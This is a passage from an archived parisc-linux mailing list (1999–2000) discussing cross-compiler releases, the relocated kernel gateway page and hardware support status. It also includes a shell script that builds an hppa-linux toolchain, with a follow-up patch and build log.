that we give the user some way to find the base of I/O and MEM space
for a particular PCI controller in the machine.  The /proc/bus/pci
mmap solution hides all of this mess from userspace.

Later,
David S. Miller
davem@redhat.com


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New cross-compiler
Date: Fri, 28 Jul 2000 15:29:21 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <E13IHh3-00042q-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619024 1951 80.91.229.3 (22 Nov 2014 01:17:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: bame@noam.fc.hp.com  Fri Jul 28 15:26:44 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA11563
	for <parisc-linux@puffin.external.hp.com>; Fri, 28 Jul 2000 15:26:43 -0600
Original-Received: (qmail 21602 invoked by uid 15267); 28 Jul 2000 21:28:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21572 invoked from network); 28 Jul 2000 21:28:40 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 28 Jul 2000 21:28:40 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel2.hp.com (Postfix) with ESMTP id 82A8171D
	for <parisc-linux@thepuffingroup.com>; Fri, 28 Jul 2000 15:28:30 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id PAA25633
	for <parisc-linux@thepuffingroup.com>; Fri, 28 Jul 2000 15:28:34 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13IHh3-00042q-00
	for <parisc-linux@thepuffingroup.com>; Fri, 28 Jul 2000 15:29:21 -0600
Xref: news.gmane.org gmane.linux.ports.parisc:7624


I just put a new cross compiler tarball at
ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20000728.tgz
As usual, it's built for the Debian 'potato' release, and will probably
work on most fairly recent Linux boxes.

This is the full userspace-capable cross compiler, which is also
required to build palo these days (palo needs the x-compiler to have
a full set of header files).  It built sash, the kernel, and palo.

It does not include any of the shared library stuff currently under
development.

	-Paul Bame


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New Linux Gateway Page
Date: Sat, 29 Jul 2000 01:11:21 -0600 (MDT)
Lines: 58
Approved: news@gmane.org
Message-ID: <200007290711.BAA04443@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619024 1956 80.91.229.3 (22 Nov 2014 01:17:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:04 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Sat Jul 29 01:09:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id BAA01866
	for <parisc-linux@puffin.external.hp.com>; Sat, 29 Jul 2000 01:09:24 -0600
Original-Received: (qmail 9684 invoked by uid 15267); 29 Jul 2000 07:11:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9674 invoked from network); 29 Jul 2000 07:11:22 -0000
Original-Received: from cosrel1.hp.com (156.153.255.170)
  by mailserv2.iuinc.com with SMTP; 29 Jul 2000 07:11:22 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel1.hp.com (Postfix) with ESMTP id 73D9A436
	for <parisc-linux@thepuffingroup.com>; Sat, 29 Jul 2000 01:11:25 -0600 (MDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id BAA04443 for parisc-linux@thepuffingroup.com; Sat, 29 Jul 2000 01:11:21 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7625



I recently checked in changes to move the linux gateway page out of the
user address space and into the kernel address space (this was discussed
many months ago on this list).

Temporarily, to make the transition easier, the old linux gateway page
still exists.  I'm hoping that Paul Bame/Matt Taggart will build a new set
of programs for ramdisks and nfsroot's.  I also assume that one of them
will checkin the changes to glibc to support the new gateway page and post
a new tool chain tarball (Paul has already built a tool chain for it,
which I used for some testing, so he just needs to check the stuff in once
he finishes testing).  Once everything is switched over, I can remove the
old gateway page.

Some notes regarding the changes:

1)I modified the kernel version of unistd.h to reflect the new syscall
  method.

2) The new syscall method relies on the kernel setting sr2 to point
to the space of the new gateway page. If the user program modifies sr2
then syscalls will stop working for that process. Note that this
applies only to Linux native apps.

3) Once I remove the old gateway page I will also move the setup of
the HP-UX gateway page into the som specific code, so only som executables
will have this page sitting in the middle of their address space.

4) During the transition, arch/parisc/kernel/syscall.S has code for the
two (old and new) linux gateway pages essentially duplicated. If you
change code for one page, try to remember to change it for the other
page.

5) Even though signals currently use a signal return path on the old
gateway page, signals should still work using the new gateway page (as
long as the old gateway page remains around). I'll need to make some
changes before I can actually remove the old linux gateway page.

6) NOTE:  The location of the linux gateway page is mapped to virtual page
zero in the kernel space.  Since gateway pages are execute only, this page
will still serve the purpose of trapping null pointer dereferences.
HOWEVER, the trap type will be different.  Before, a null pointer
dereference would cause a trap type 15 (Data TLB Miss), now it will
produce a trap type 26 (Data memory access rights violation).  Note that
execution through a null indirect function pointer (while executing in the
kernel) will hit a series of break instructions at the beginning of the
page (the actual syscall entry point starts at 0x100).  Right now break
instructions just cause a "Halted" message and a register dump.  I'll fix
that when I get back from vacation (if someone doesn't beat me to it).

I'll be on vacation for the next week (doing rocketry for a whole week
at the NAR's national launch/competition in Canon City, CO). I'll be
back the week following.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Hudson <mhudson@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The Kxx0 machines and other questions.
Date: Sun, 30 Jul 2000 19:08:18 -0500
Organization: @Home Network
Lines: 26
Approved: news@gmane.org
Message-ID: <3984C372.254E875@home.com>
References: <397C7472.98FA73C7@home.com> <20000724144024.B25594@vodka.thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619024 1959 80.91.229.3 (22 Nov 2014 01:17:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:04 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: mhudson@home.com  Sun Jul 30 18:04:42 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA02612
	for <parisc-linux@puffin.external.hp.com>; Sun, 30 Jul 2000 18:04:41 -0600
Original-Received: (qmail 16829 invoked by uid 15267); 31 Jul 2000 00:06:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16818 invoked from network); 31 Jul 2000 00:06:42 -0000
Original-Received: from ha1.rdc1.ne.home.com (HELO mail.rdc1.ne.home.com) (imail@24.2.4.66)
  by mailserv2.iuinc.com with SMTP; 31 Jul 2000 00:06:42 -0000
Original-Received: from home.com ([24.3.245.88]) by mail.rdc1.ne.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20000731000641.YUTN17075.mail.rdc1.ne.home.com@home.com>;
          Sun, 30 Jul 2000 17:06:41 -0700
X-Mailer: Mozilla 4.61 [en]C-AtHome0407  (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7626


> On Mon, Jul 24, 2000 at 11:53:06AM -0500, Matthew Hudson wrote:
> > Now on subject. K200 working in Linux and if so
> > is there SMP support yet?
> 
> we're not really interested in supporting the k class right now.
> it's pretty similar to early C/J class (C100, C110, J200, J210), but it
> has some `interesting' devices in it that may be hard to support (the
> SCSI adapter looks slightly strange).  we don't have any SMP support yet
> and this machine won't be high on the priority list when we do start
> working on SMP.  i guess you're going to have to join in and do some
> hacking yourself :-)

Like I have the time for this, but... (famous last words)

Since I haven't had the time (yet) to attempt booting into Linux
with this monster what is its status? Non-functional or?
Where can I get some documentation for the various hardware in
this machine.

What is the status of the J210XC and will I be able to create
a functional Linux environment for it(the J210) if I wanted to
start coding? (currently running 10.20)

-Matt


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] syscall work
Date: Thu, 25 Mar 1999 11:23:20 -0800
Lines: 9
Approved: news@gmane.org
Message-ID: <199903251919.LAA01701@cllmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619025 1962 80.91.229.3 (22 Nov 2014 01:17:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:05 +0000 (UTC)
To: <hppa-linux@thepuffingroup.com>
Original-X-From: cary@cup.hp.com  Thu Mar 25 14:20:00 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id OAA25799
	for <hppa-linux@sod.res.cmu.edu>; Thu, 25 Mar 1999 14:19:59 -0500
Original-Received: (qmail 11854 invoked by uid 15267); 25 Mar 1999 19:18:48 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 11847 invoked from network); 25 Mar 1999 19:18:47 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 25 Mar 1999 19:18:47 -0000
Original-Received: from cllmail.cup.hp.com (cllmail.cup.hp.com [15.28.98.139])
	by palrel1.hp.com (8.8.6/8.8.5tis) with ESMTP id LAA27629
	for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 11:19:51 -0800 (PST)
Original-Received: from [15.0.97.82] (cc757591.cup.hp.com [15.0.97.82]) by cllmail.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id LAA01701 for <hppa-linux@thepuffingroup.com>; Thu, 25 Mar 1999 11:19:50 -0800 (PST)
x-sender: cary@cllmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:7627

I'd suggest *not* using the same gateway page address as HP-UX. If you 
do, you won't be able to develop a later kernel extension to support 
HP-UX binaries, unless you allocate syscall numbers carefully.


Cary Coutant
Hewlett-Packard Co.
Application Delivery Lab


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The Kxx0 machines and other questions.
Date: Sun, 30 Jul 2000 22:55:36 -0700
Lines: 61
Approved: news@gmane.org
Message-ID: <200007310555.WAA28499@milano.cup.hp.com>
References: <3984C372.254E875@home.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619025 1964 80.91.229.3 (22 Nov 2014 01:17:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Hudson <mhudson@home.com>
Original-X-From: grundler@cup.hp.com  Sun Jul 30 23:51:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA05182
	for <parisc-linux@puffin.external.hp.com>; Sun, 30 Jul 2000 23:51:13 -0600
Original-Received: (qmail 4069 invoked by uid 15267); 31 Jul 2000 05:53:15 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4062 invoked from network); 31 Jul 2000 05:53:14 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 31 Jul 2000 05:53:14 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP
	id B6CFF34C8; Sun, 30 Jul 2000 22:53:13 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA28499;
	Sun, 30 Jul 2000 22:55:39 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sun, 30 Jul 2000 19:08:18 PDT."
             <3984C372.254E875@home.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7628

Matthew Hudson wrote:
> Mathew Wilcox (?) wrote:
> > we're not really interested in supporting the k class right now.
> > it's pretty similar to early C/J class (C100, C110, J200, J210), but it
> > has some `interesting' devices in it that may be hard to support (the
> > SCSI adapter looks slightly strange).  we don't have any SMP support yet
> > and this machine won't be high on the priority list when we do start
> > working on SMP.  i guess you're going to have to join in and do some
> > hacking yourself :-)
> 
> Like I have the time for this, but... (famous last words)
> 
> Since I haven't had the time (yet) to attempt booting into Linux
> with this monster what is its status? Non-functional or?
> Where can I get some documentation for the various hardware in
> this machine.

Non-functional since U2/Uturn code is not ready yet (I'm working on it)
and not documented (let's not go there again right now). And even
if it were ready, I need to hack in some sort of an "I/O tree"
in order to support more than one U2/Uturn. K-class can have
multiple U2/Uturns.

The core I/O board has a NCR 53c720 chip with zalon - Richard Hirst
is working on that already. AFIAK, Zalon isn't documented but it's trivial
to initialize and the real problem is support for c720 chip in linux.

AFAICT, Built-in LAN, PS/2, serial ports, and SE SCSI are off a LASI.
Same chip as what's documented for the A180/712/et al.
But the firmware might be reporting them differently...someone who
cares will have to figure this out.

I doubt documents or code for the gecko-boa (GSC to HP-PB bus converter)
will ever get published....and even if it did, getting docs for the HP-PB
(aka NIO) devices is another huge hurdle. Look for a "HARRIER"
(card carrier for K-class, provides 4 "gsc" "slots") if you don't already
have one. At least some of the GSC devices (like tachyon, c720) will
get or are supported already.

> What is the status of the J210XC and will I be able to create
> a functional Linux environment for it(the J210) if I wanted to
> start coding? (currently running 10.20)

Once the U2/Uturn support is in place and user space stabilizes, yes.

Audio and graphics continue to be a problem WRT documentation and code.
I don't know what's up with "WAX" (EISA) support.

Matt, I didn't see a J210XC in the HW database.
(http://www.thepuffingroup.com/parisc/hw.html)
Since you asked about status and I've written this detailed reply,
I'd consider you a real dork at this point if you didn't enter
the J210XC into the HW database.  Could you please?
(thanks in advance :^)

grant

Grant Grundler
Unix Development Lab
+1.408.447.7253


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Hudson <mhudson@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The Kxx0 machines and other questions.
Date: Mon, 31 Jul 2000 09:58:04 -0500
Organization: @Home Network
Lines: 12
Approved: news@gmane.org
Message-ID: <398593FC.D82628EC@home.com>
References: <200007310555.WAA28499@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619025 1967 80.91.229.3 (22 Nov 2014 01:17:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:05 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: mhudson@home.com  Mon Jul 31 08:57:40 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id IAA27628
	for <parisc-linux@puffin.external.hp.com>; Mon, 31 Jul 2000 08:57:40 -0600
Original-Received: (qmail 21192 invoked by uid 15267); 31 Jul 2000 14:59:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21168 invoked from network); 31 Jul 2000 14:59:40 -0000
Original-Received: from ha1.rdc1.ne.home.com (HELO mail.rdc1.ne.home.com) (imail@24.2.4.66)
  by mailserv2.iuinc.com with SMTP; 31 Jul 2000 14:59:40 -0000
Original-Received: from home.com ([24.3.241.137]) by mail.rdc1.ne.home.com
          (InterMail vM.4.01.03.00 201-229-121) with ESMTP
          id <20000731145936.EOIC17075.mail.rdc1.ne.home.com@home.com>;
          Mon, 31 Jul 2000 07:59:36 -0700
X-Mailer: Mozilla 4.73 [en]C-AtHome0402  (Win98; U)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7629

> 
> Matt, I didn't see a J210XC in the HW database.
> (http://www.thepuffingroup.com/parisc/hw.html)
> Since you asked about status and I've written this detailed reply,
> I'd consider you a real dork at this point if you didn't enter
> the J210XC into the HW database.  Could you please?
> (thanks in advance :^)

I will as soon as I figure out how. ;-)

-Matt


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New Linux Gateway Page
Date: Mon, 31 Jul 2000 09:11:09 -0600
Lines: 8
Approved: news@gmane.org
Message-ID: <E13JHDh-0007Wn-00@noam.fc.hp.com>
References: <200007290711.BAA04443@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619026 1972 80.91.229.3 (22 Nov 2014 01:17:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: bame@noam.fc.hp.com  Mon Jul 31 09:08:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id JAA28174
	for <parisc-linux@puffin.external.hp.com>; Mon, 31 Jul 2000 09:08:26 -0600
Original-Received: (qmail 385 invoked by uid 15267); 31 Jul 2000 15:10:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 375 invoked from network); 31 Jul 2000 15:10:28 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 31 Jul 2000 15:10:28 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by cosrel2.hp.com (Postfix) with ESMTP id EA241236
	for <parisc-linux@thepuffingroup.com>; Mon, 31 Jul 2000 09:10:21 -0600 (MDT)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id JAA07173;
	Mon, 31 Jul 2000 09:10:26 -0600 (MDT)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13JHDh-0007Wn-00; Mon, 31 Jul 2000 09:11:09 -0600
In-Reply-To: Your message of "Sat, 29 Jul 2000 01:11:21 MDT."
             <200007290711.BAA04443@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7630


I just published a tool chain using the new gateway page, and
a libc to update the 7/28 one if anyone happens to have that.

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/README

	-Paul Bame


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tara Dear <tdear@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] recipe
Date: Mon, 31 Jul 2000 21:03:00 -0700
Lines: 89
Approved: news@gmane.org
Message-ID: <39864BF4.4FD098D0@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------F05DCDB7773AE4839A821D77"
X-Trace: ger.gmane.org 1416619026 1974 80.91.229.3 (22 Nov 2014 01:17:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:06 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: tdear@linuxcare.com  Mon Jul 31 12:03:10 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA30570
	for <parisc-linux@puffin.external.hp.com>; Mon, 31 Jul 2000 12:03:10 -0600
Original-Received: (qmail 3687 invoked by uid 15267); 31 Jul 2000 18:05:12 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 3663 invoked from network); 31 Jul 2000 18:05:11 -0000
Original-Received: from smtp.linuxcare.com (216.88.157.131)
  by mailserv2.iuinc.com with SMTP; 31 Jul 2000 18:05:11 -0000
Original-Received: (qmail 4215 invoked from network); 31 Jul 2000 18:04:54 -0000
Original-Received: from ottawa.linuxcare.com (HELO linuxcare.com) (216.208.98.2)
  by smtp.linuxcare.com with SMTP; 31 Jul 2000 18:04:54 -0000
Original-Sender: tdear@mailserv2.iuinc.com
X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.14-15mdk i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7631

This is a multi-part message in MIME format.
--------------F05DCDB7773AE4839A821D77
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

dhd asked me to post this recipe the group.  I worked for me.

-TARA



--------------F05DCDB7773AE4839A821D77
Content-Type: text/plain; charset=us-ascii;
 name="recipe"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="recipe"

#!/bin/sh -e

PREFIX=/home/tdear/parisc
HOST=i386-linux

export CVS_RSH=ssh
echo Checking for CVS directories
test -d binutils-2.10
test -d gcc
test -d glibc
test -d linux-2.3
test -f include.tar.gz

echo Updating binutils-2.10
(cd binutils-2.10 && cvs update -dP)
echo Building binutils in `pwd`/binutils-build
rm -rf binutils-build
mkdir binutils-build
cd binutils-build
../binutils-2.10/configure --disable-nls --target=hppa-linux \
	--prefix=$PREFIX
make && make install

# Now set this up to point to the place we installed binutils
export PATH=$PATH:$PREFIX/bin

cd ..
echo Updating gcc
(cd gcc && cvs update -dP)
echo Building gcc in `pwd`/gcc-build
rm -rf gcc-build
mkdir gcc-build
cd gcc-build
../gcc/configure --disable-nls --target=hppa-linux --prefix=$PREFIX \
	--enable-languages=c
make || true
make install

cd ..
echo Updating glibc
(cd glibc && cvs update -dP)
# We need the most recent include files
echo Updating linux-2.3
(cd linux-2.3 && cvs update -dP)
echo Updating header files in $PREFIX/hppa-linux/include/{linux,asm}
rm -rf $PREFIX/hppa-linux/include/{linux,asm}
cp -a linux-2.3/include/linux $PREFIX/hppa-linux/include
cp -a linux-2.3/include/asm-parisc $PREFIX/hppa-linux/include/asm
echo Building glibc in `pwd`/glibc-build
rm -rf glibc-build
mkdir glibc-build
cd glibc-build
../glibc/configure --disable-nls --host=hppa-linux --build=$HOST \
	--disable-cvs --disable-sanity-checks --disable-shared \
	--disable-profile --enable-static-nss --prefix=$PREFIX/hppa-linux \
	--with-headers=`pwd`/../linux-2.3/include
make
make install

cd ..
echo Rebuilding GCC with C++ enabled
rm -rf gcc-build
mkdir gcc-build
cd gcc-build
../gcc/configure --disable-nls --target=hppa-linux --prefix=$PREFIX \
	--enable-languages=c,c++
make
make install

--------------F05DCDB7773AE4839A821D77--


From - Thu Nov 08 21:13:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] recipe
Date: Mon, 31 Jul 2000 14:45:44 -0700
Lines: 115
Approved: news@gmane.org
Message-ID: <200007312145.OAA29210@milano.cup.hp.com>
References: <39864BF4.4FD098D0@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619026 1978 80.91.229.3 (22 Nov 2014 01:17:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:17:06 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Tara Dear <tdear@linuxcare.com>
Original-X-From: grundler@cup.hp.com  Mon Jul 31 15:41:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA32705
	for <parisc-linux@puffin.external.hp.com>; Mon, 31 Jul 2000 15:41:28 -0600
Original-Received: (qmail 14736 invoked by uid 15267); 31 Jul 2000 21:43:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14712 invoked from network); 31 Jul 2000 21:43:29 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 31 Jul 2000 21:43:29 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 29F5F172; Mon, 31 Jul 2000 14:43:28 -0700 (PDT)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id OAA29210;
	Mon, 31 Jul 2000 14:45:49 -0700 (PDT)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Mon, 31 Jul 2000 21:03:00 PDT."
             <39864BF4.4FD098D0@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:7632

Tara Dear wrote:
> dhd asked me to post this recipe the group.  I worked for me.

Tara, dhd,

The first time I ran this script, it failed with a "permission
denied" error. This is on a debian potato i686-linux host.
I've appended the output that was still in scrollback.

The second time I ran recipe it worked fine.
I delete $PREFIX and ran the recipe a third time and that worked too.
I'm guessing on the first run something wasn't kosher in my env.

I've also included the first patches for the recipe.

grant


grundler <552>diff recipe.tara.orig recipe.tara
3c3,9
< PREFIX=/home/tdear/parisc
---
> #
> # build 32-bit toolchain
> #
> PREFIX=/opt/puffin/
> 
> # make sure we don't pick up other tools
> PATH=/usr/local/bin:/usr/bin:/bin
6d11
< export CVS_RSH=ssh



...
mv -f /linux/grundler/glibc-build/stdio-common/fscanf.T /linux/grundler/glibc-build/stdio-common/fscanf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
bc-build/../linux-2.3/include  -include ../include/libc-symbols.h      | sed -e 's,vfscanf\.o,/linux/grundler/glibc-build/stdio-common/vfscanf.o /linux/grundler/glibc-build/stdio-common/vfscanf.os /linux/grundler/glibc-build/stdio-common/vfscanf.op /linux/grundler/glibc-build/stdio-common/vfscanf.og /linux/grundler/glibc-build/stdio-common/vfscanf.ob /linux/grundler/glibc-build/stdio-common/vfscanf.oS /linux/grundler/glibc-build/stdio-common/vfscanf.d,' -e 's@ /linux/grundler/glibc-build/@ $(common-objpfx)@g' -e 's@^/linux/grundler/glibc-build/@$(common-objpfx)@g' > /linux/grundler/glibc-build/stdio-common/vfscanf.T
mv -f /linux/grundler/glibc-build/stdio-common/vfscanf.T /linux/grundler/glibc-build/stdio-common/vfscanf.d 
.././scripts/mkinstalldirs /linux/grundler/glibc-build/stdio-common
